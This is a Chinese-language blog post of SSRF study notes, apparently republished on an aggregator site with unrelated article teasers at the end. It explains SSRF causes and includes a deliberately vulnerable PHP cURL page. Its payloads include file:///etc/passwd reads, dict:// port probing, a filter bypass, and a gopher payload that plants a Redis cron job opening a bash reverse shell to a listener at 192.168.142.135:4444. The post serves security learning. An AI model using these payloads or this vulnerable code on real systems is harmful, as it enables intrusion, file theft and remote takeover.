SSRF学习笔记

  1.NAT学习

 Nat(Network Address Translation,网络地址转换)是   一种网络通信技术主要用于将私有网络中的内部IP地址转换成公共网络中的公共IP地址,以实现局域网内部设备访问互联网的功能。具体来说,Nat有以下几个主要的作用和用途:

  1. IP地址转换:Nat最主要的功能是在私有网络(如家庭、企业局域网)和公共网络(如互联网)之间转换IP地址。在私有网络中,设备通常使用私有IP地址(例如192.168.x.x),这些地址在互联网上不可路由和识别。Nat通过将这些私有IP地址映射到公共IP地址,使得内部设备可以与外部网络通信,同时隐藏了内部网络结构,提高了安全性。

  2. IP地址共享:Nat允许多个设备共享单个公共IP地址。这种多对一的映射方式,节省了IP地址资源,特别是在IPv4地址资源稀缺的情况下,Nat可以缓解地址耗尽的问题。

  3. 安全性增强:Nat作为一种防火墙的一部分,能够隐藏内部网络的真实IP地址,使得外部网络无法直接访问到内部设备。这种隐匿性可以增加网络的安全性,防止一些未经授权的访问和攻击。

  4. 协议转换:Nat有时候也可以用于在不同网络协议之间进行转换,尽管这并不是其主要的功能。例如,将TCP/IP协议转换成UDP协议。     

上图可以很好地阐述NAT的作用,在防火墙阻断两台主机的通信之时, 两台主机如何进行通信,其实就是运用了NAT:

两台主机分别为web1和web2,当我外部主机进行访问222.180.123.1:8081时,NAT就会立刻反应过来web1是要访问web2的,所以立刻就将他的目标ip改成了172 .16.0.254:80,进行了一轮端口映射后两台主机才能进行通信。

2.SSRF的漏洞成因

SSRF(service side request forgery)

攻击的目标:
从外网无法访问的内部系统

形成的原因:
大部分是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。

很有可能引发SSRF的函数:

函数

作用

curl_exec()

执行 cURL 会话

file_get_contents()

将整个文件读入一个字符串

fsockopen()

打开一个网络连接或者一个Unix套

接字连接

3.SSRF攻击方式

其实类似于攻击者无法直接攻击B,利用了A来做一个跳板。

如上图,假设攻击者要访问攻击codeeexec这台主机,在已经进行信息搜集的情况下,我只知道ip,但是却无法访问,但是我可以访问SSRF这台主机,所以利用SSRF这台主机当作跳板攻击codeexec主机,这就是SSRF的攻击过程。

4.SSRF攻击中那些常用的协议

file

查看文件

curl -v 'file:///etc/passwd'

dict

探测端口

http://localhost/ssrf/ssrf1.php?

url=dict://127.0.0.1:3306

gopher

反弹shell

curl -v 'gopher://127.0.0.1:6325/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d% 0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >&

/dev/tcp/192.168.142.135/4444 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3% 0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron

/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a

$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$ 4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

ps:dict协议:用于搭建在线字典服务

gopher协议:是一种信息查找系统,只支持文本,不支持图像,已被HTTP替代

5.PHP_CURL学习

PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。

libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。

PHP中使用cURL实现Get和Post请求的方法

libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议

漏洞页面代码:

<?php
function curl($url){  
    $ch = curl_init();
    // 设置URL和相应的选项
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0); // 启用时会将头文件的信息作为数据流输出  
    // 抓取URL并把它传递给浏览器  
    curl_exec($ch);
    //关闭cURL资源,并且释放系统资源  
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);  
?>

这串代码允许你与各种的服务器使用各种类型的协议进行连接和通讯,这里也同时引发了SSRF漏洞。

6.实战演练

file=php://filter/read=convert.base64-encode/resource=ssrf.php #base64读取本地文件

url=http://www.baidu.com #利用主机访问特定网站

url=file:///c:/a.txt   #直接读取文件

http://google.com:80\\@127.88.23.245:22/ #@绕过

7/常用payload及工具:

项目地址:GitHub - cujanovic/SSRF-Testing:SSRF(服务器端请求伪造)测试资源

包含了DNS pinning,通过滥用 Ruby 原生解析器中的 bug 绕过服务器端请求伪造过滤器等很多payload

SSRF辅助生成payload工具:

项目地址:GitHub - tarunkant/Gopherus:此工具生成地鼠链接,用于在各种服务器中利用 SSRF 并获得 RCE

包含了以下的很多范围,是超级好用工具

  1. MySQL(端口-3306)
  2. PostgreSQL(端口-5432)
  3. FastCGI(端口-9000)
  4. Memcached (端口-11211)
  5. Redis(端口-6379)
  6. Zabbix (Port-10050)
  7. SMTP(端口-25)

工具的安装和使用自行去摸索,篇幅原因就不过多赘述。

最后,希望本文对学习SSRF的各位有所帮助,谢谢!

参考资料:重庆橙子科技陈腾老师-----<<SSRF学习课程>>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/48203.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Matlab画不同指标的对比图

目录 一、指标名字可修改 二、模型名字可修改 三、输入数据可修改 软件用的是Matlab R2024a。 clear,clc,close all figure1figure(1); % set(figure1,Position,[300,100,800,600],Color,[1 1 1]) axes1 axes(Parent,figure1);%% Initialize data points 一、指标名字可修…

MongoDB 学习笔记

一、简介 1、MongoDB 是什么 MongoDB 是一个基于分布式文件存储的数据库&#xff0c;官方地址 https://www.mongodb.com/ 2、数据看是什么 数据库&#xff08;DataBase&#xff09;是按照数据结构来组织、存储和管理数据的应用程序。 3、数据库的作用 主要作用是 管理数据…

mybatis中的缓存(一级缓存、二级缓存)

文章目录 前言一、MyBatis 缓存概述二、一级缓存1_初识一级缓存2_一级缓存命中原则1_StatementId相同2_查询参数相同3_分页参数相同4_sql 语句5_环境 3_一级缓存的生命周期1_缓存的产生2_缓存的销毁3_网传的一些谣言 4_一级缓存核心源码5_总结 三、二级缓存1_开启二级缓存2_二级…

基于Hutool实现自定义模板引擎,实现json个性化模板引擎转换

文章目录 前言编写引擎类&#xff1a;JsonTemplateEngine编写模板类&#xff1a;CustomTemplate编写测试代码测试json文件测试类 前言 由于百度搜索json模板引擎&#xff0c;推荐的都是一些freemarker之类的&#xff0c;需要引入其他的依赖&#xff0c;而且在编写json模板的时…

学习在测试时学习(Learning at Test Time)_ 具有表达性隐藏状态的循环神经网络(RNNs)

摘要 https://arxiv.org/pdf/2407.04620 自注意力机制在长文本语境中表现良好&#xff0c;但其复杂度为二次方。现有的循环神经网络&#xff08;RNN&#xff09;层具有线性复杂度&#xff0c;但其在长文本语境中的性能受到隐藏状态表达能力的限制。我们提出了一种新的序列建模…

LabVIEW多线圈电磁式振动发电机测试

开发了一种基于LabVIEW设计的多线圈电磁式振动发电机测试系统。系统通过高效的数据采集、波峰检测及相位差计算&#xff0c;优化了传统振动发电机的测试流程&#xff0c;提升了电压波形分析的精度和效率&#xff0c;具有较好的应用前景和推广价值。 项目背景 随着可再生能源技…

遇到not allow unquoted fieldName怎么办

前言 Exception in thread "main" com.alibaba.fastjson2.JSONException: not allow unquoted fieldName, offset 2, character , line 1, column 3, fastjson-version 2.0.25 { "data":null, "code":200, "msg":"成功"…

LIS系统源码,实验室管理信息系统LIS,.Net C#语言开发,支持DB2,Oracle,MS SQLServer等主流数据库

实验室管理信息系统LIS源码&#xff0c;采用.Net C#语言开发&#xff0c;C/S架构。支持DB2&#xff0c;Oracle&#xff0c;MS SQLServer等主流数据库。&#xff08;LIS系统全套商业源码&#xff0c;自主版权&#xff0c;多家大型综合医院应用案例&#xff0c;适合二次开发&…

Golang | Leetcode Golang题解之第279题完全平方数

题目&#xff1a; 题解&#xff1a; // 判断是否为完全平方数 func isPerfectSquare(x int) bool {y : int(math.Sqrt(float64(x)))return y*y x }// 判断是否能表示为 4^k*(8m7) func checkAnswer4(x int) bool {for x%4 0 {x / 4}return x%8 7 }func numSquares(n int) i…

四、GD32 MCU 常见外设介绍 (6) ADC 模块介绍

6.1.ADC 基础知识 12 位逐次逼近式模数转换器模块&#xff08;ADC&#xff09;&#xff0c;可以采样来自于外部输入通道、内部输入通道的模拟信号&#xff0c;采样转换后&#xff0c;转换结果可以按照最低有效位对齐或最高有效位对齐的方式保存在相应的数据寄存器中。 6.2.GD…

elasticsearch-7.3.1安装注意事项

elasticsearch-7.3.1安装注意事项 一、背景二、步骤1、查看原ES版本2、新环境服务器2.1、是否有elasticsearch2.2、安装elasticsearch2.3、配置参数2.4、启动elasticsearch2.5、设置密码 三、报错-问题总结1、jdk不适用2、bootstrap checks failed3、Address already in use4、…

vue3前端开发-小兔鲜项目-图片切换效果和动态class

vue3前端开发-小兔鲜项目-图片切换效果和动态class!这次实现的效果是&#xff0c;图片预览效果&#xff0c;根据小图片&#xff0c;来实时改变大图&#xff08;预览&#xff09;的效果。同时让动态的特征class也跟着显示出来。 <script setup> import {ref} from vue // …

Linux 各目录

Linux 是一个非常严谨的操作系统&#xff0c;每个目录都有自己的作用&#xff0c;这些作用是固定的&#xff0c;没有特殊情况&#xff0c;应严格执行&#xff1b; Linux 中所有东西以文件形式存储和管理&#xff0c;命令也不例外&#xff1b; 以下四个 bin 是二进制文件&…

freesql简单使用操作mysql数据库

参考&#xff1a;freesql中文官网指南 | FreeSql 官方文档 这两天准备做一个测试程序&#xff0c;往一个系统的数据表插入一批模拟设备数据&#xff0c;然后还要模拟设备终端发送数据包&#xff0c;看看系统的承压能力。 因为系统使用的第三方框架中用到了freesql&#xff0c…

数据库的事务隔离级别有哪些?

并行事务会引发什么问题&#xff1f; 同时处理多个事务的时候&#xff0c;就可能出现脏读&#xff08;dirty read&#xff09;、不可重复读&#xff08;non-repeatable read&#xff09;、幻读&#xff08;phantom read&#xff09;的问题。脏读: 如果一个事务「读到」了另一个…

NSSCTF-2021年SWPU联合新生赛

[SWPUCTF 2021 新生赛]finalrce 这道题目考察tee命令和转义符\ 这题主要是&#xff0c;遇到一种新的符号&#xff0c;"\"—转义符。我理解的作用就是在一些控制字符被过滤的时候&#xff0c;可以用转义符&#xff0c;让控制符失去原本的含义&#xff0c;变为字面量…

react中配置路径别名@

1.说明 在react项目中想要使用代替“src/”需要在项目根目录下配置两个文件&#xff0c;craco.config.js和sconfig.json&#xff1b; craco.config.js配置文件是用于项目解读为“src/” jsconfig.json配置文件是用于vsCode在编辑过程是输入后可以将src下的文件目录进行自动联…

k8s中部署Jenkins、SonarQube、StorageClass部署流程

部署Jenkins 系统环境&#xff1a; • kubernetes 版本&#xff1a;1.23.3 • jenkins 版本&#xff1a;2.172 • jenkins 部署示例文件 Github 地址&#xff1a;https://github.com/my-dlq/blog-example/tree/master/jenkins-deploy 一、设置存储目录 在 Kubenetes 环境下…

[DVWA靶场实战]-SQL注入攻击(命令注入+SQL回显注入+sqlmap工具实现自动化注入)详细教程

原理与内容 1.命令注入原理 以Windows系统的DOS命令为例&#xff0c;DOS命令可以查看本地网络、系统用户、当前目录、字符串查找&#xff0c;也可以复合命令。命令注入就是利用复合命令的特点&#xff0c;通过Web程序&#xff0c;在服务器上&#xff0c;拼接系统命令&#xf…

elk日志索引被锁blocks,日志无法写入

现象&#xff1a; kafka积压&#xff0c;logstash无法将日志写入到es logstash报错&#xff1a; [logstash.outputs.elasticsearch][main][] Retrying failed action {:status>403 :error>{“type”>“cluster_block_exception”, “reason”>“index [] blocked …